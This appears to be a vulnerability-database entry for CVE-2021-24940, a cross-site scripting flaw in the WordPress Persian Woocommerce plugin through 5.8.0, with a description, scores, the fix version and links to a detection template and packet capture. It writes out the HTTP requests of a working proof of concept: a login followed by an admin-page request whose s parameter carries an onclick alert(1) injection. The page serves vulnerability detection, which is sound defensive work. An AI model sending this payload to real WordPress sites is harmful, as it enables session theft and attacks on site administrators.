🔙 목록으로 돌아가기

CVE-2021-24940: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting

TitleWordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationFixed in 5.9.8.
CVSS Score6.1
EPSS Score0.01887
CVE IDCVE-2021-24940
CWE IDCWE-79
Tags cve2021 cve wp xss authenticated wpscan wordpress wp-plugin woocommerce vuln

🔍 Vulnerability Description

WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/125.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=OWwsy3&pwd=6gHbhp&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24940.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24940.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A